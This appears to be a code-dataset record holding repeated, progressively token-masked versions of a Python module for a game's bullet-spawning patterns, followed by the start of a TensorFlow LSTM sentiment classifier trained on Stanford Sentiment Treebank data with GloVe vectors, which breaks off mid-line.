temp, spawningCycle)\n self.addStartingParameters(position, temp)\n self._animationName = bulletTemplate._animationName\n for i in bulletTemplate._movementList:\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n self.calculatePositions(master, master._playerPosition, [-100, -100,\n 1620, 1180], None)\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n", "<import token>\n<class token>\n<class token>\n\n\nclass BulletMasterTemplate(object):\n\n def __init__(self, name):\n self._name = name\n self._bulletSpawnerTemplates = []\n self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0}\n\n def addBulletSpawnerTemplates(self, bulletSpawnerTemplate):\n self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)\n\n\nclass Bullet(MovementCommander):\n\n def __init__(self, bulletTemplate, position, exitAngle, master,\n spawningCycle):\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n self._animationName = bulletTemplate._animationName\n for i in bulletTemplate._movementList:\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n self.calculatePositions(master, master._playerPosition, [-100, -100,\n 1620, 1180], None)\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n", "<import token>\n<class token>\n<class token>\n\n\nclass BulletMasterTemplate(object):\n\n def __init__(self, name):\n self._name = name\n self._bulletSpawnerTemplates = []\n self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0}\n <function token>\n\n\nclass Bullet(MovementCommander):\n\n def __init__(self, bulletTemplate, position, exitAngle, master,\n spawningCycle):\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n self._animationName = bulletTemplate._animationName\n for i in bulletTemplate._movementList:\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n self.calculatePositions(master, master._playerPosition, [-100, -100,\n 1620, 1180], None)\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n", "<import token>\n<class token>\n<class token>\n\n\nclass BulletMasterTemplate(object):\n <function token>\n <function token>\n\n\nclass Bullet(MovementCommander):\n\n def __init__(self, bulletTemplate, position, exitAngle, master,\n spawningCycle):\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n self._animationName = bulletTemplate._animationName\n for i in bulletTemplate._movementList:\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n self.calculatePositions(master, master._playerPosition, [-100, -100,\n 1620, 1180], None)\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n", "<import token>\n<class token>\n<class token>\n<class token>\n\n\nclass Bullet(MovementCommander):\n\n def __init__(self, bulletTemplate, position, exitAngle, master,\n spawningCycle):\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n self._animationName = bulletTemplate._animationName\n for i in bulletTemplate._movementList:\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n self.calculatePositions(master, master._playerPosition, [-100, -100,\n 1620, 1180], None)\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n", "<import token>\n<class token>\n<class token>\n<class token>\n\n\nclass Bullet(MovementCommander):\n <function token>\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n", "<import token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n", "<import token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n <function token>\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n", "<import token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass BulletSpawner(MovementCommander):\n <function token>\n <function token>\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n", "<import token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n", "<import token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass BulletMaster(object):\n <function token>\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n", "<import token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass BulletMaster(object):\n <function token>\n <function token>\n", "<import token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n" ]
false
9,933
7e461e212d9944c229d1473ea16283d3d036bf55
import tensorflow as tf import gensim import string import numpy as np import random ##### prepare data path = 'stanfordSentimentTreebank/output_50d.txt' # model_path = 'stanfordSentimentTreebank/output' # model = gensim.models.Word2Vec.load(model_path) model = gensim.models.KeyedVectors.load_word2vec_format('/Users/ivanfzh/Downloads/glove.6B/glove.6B.50d.txt', binary=False) sentence_max = 56 class Data(object): def __init__(self): self.data_in = [] self.data_label = [] self.batch_id = 0 self.data_length = [] fp = open(path, 'r') for l in fp.readlines(): line = l.strip('\n').split('|') word_list = line[0].split(' ') s = [] for item in word_list: item = string.lower(item) s.append(model[item].tolist()) if len(word_list) < sentence_max: for i in range(sentence_max - len(word_list)): s.append([0. for k in range(50)]) self.data_length.append(len(word_list)) l = [0. for k in range(5)] value = float(line[1]) label_index = int(value / 0.2) if label_index >= 5: l[4] = 1.0 else: l[label_index] = 1.0 self.data_in.append(s) self.data_label.append(l) def next(self, batch_size): if self.batch_id + batch_size >= len(self.data_in): batch_data_in = self.data_in[self.batch_id: len(self.data_in)] batch_data_label = self.data_label[self.batch_id: len(self.data_in)] batch_data_length = self.data_length[self.batch_id: len(self.data_in)] self.batch_id = self.batch_id + batch_size - len(self.data_in) batch_data_in += self.data_in[0:self.batch_id] batch_data_label += self.data_label[0:self.batch_id] batch_data_length += self.data_length[0:self.batch_id] else: batch_data_in = self.data_in[self.batch_id: self.batch_id + batch_size] batch_data_label = self.data_label[self.batch_id: self.batch_id + batch_size] batch_data_length = self.data_length[self.batch_id: self.batch_id + batch_size] self.batch_id = self.batch_id + batch_size return batch_data_in, batch_data_label, batch_data_length trainset = Data() print len(trainset.data_in) # ============== # MODEL # ============== learning_rate = 0.001 training_iters = 500000 batch_size = 128 display_step = 100 # Network Parameters n_input = 50 # data input (shape: 50*56) n_steps = 56 # timesteps n_hidden = 128 # hidden layer num of features n_classes = 5 # total classes x = tf.placeholder(tf.float32, [None, n_steps, n_input]) y = tf.placeholder(tf.float32, [None, n_classes]) z = tf.placeholder(tf.int32, [batch_size]) weights = { # (50, 128) # 'in': tf.Variable(tf.random_normal([n_input, n_hidden])), # Hidden layer weights # (128, 5) 'out': tf.Variable(tf.random_normal([n_hidden, n_classes])) } biases = { # 'in': tf.Variable(tf.constant(0.1, shape=[n_hidden, ])), 'out': tf.Variable(tf.random_normal([n_classes, ])) } def dynamicRNN(x, seqlen, weights, biases): # Prepare data shape to match `rnn` function requirements # Current data input shape: (batch_size, n_steps, n_input) # Required shape: 'n_steps' tensors list of shape (batch_size, n_input) # Unstack to get a list of 'n_steps' tensors of shape (batch_size, n_input) x = tf.unstack(x, sentence_max, 1) # Define a lstm cell with tensorflow lstm_cell = tf.contrib.rnn.BasicLSTMCell(n_hidden) # Get lstm cell output, providing 'sequence_length' will perform dynamic # calculation. outputs, states = tf.contrib.rnn.static_rnn(lstm_cell, x, dtype=tf.float32, sequence_length=seqlen) # When performing dynamic calculation, we must retrieve the last # dynamically computed output, i.e., if a sequence length is 10, we need # to retrieve the 10th output. # However TensorFlow doesn't support advanced indexing yet, so we build # a custom op that for each sample in batch size, get its length and # get the corresponding relevant output. # 'outputs' is a list of output at every timestep, we pack them in a Tensor # and change back dimension to [batch_size, n_step, n_input] outputs = tf.stack(outputs) outputs = tf.transpose(outputs, [1, 0, 2]) # Hack to build the indexing and retrieve the right output. batch_size = tf.shape(outputs)[0] # Start indices for each sample index = tf.range(0, batch_size) * sentence_max + (seqlen - 1) # Indexing outputs = 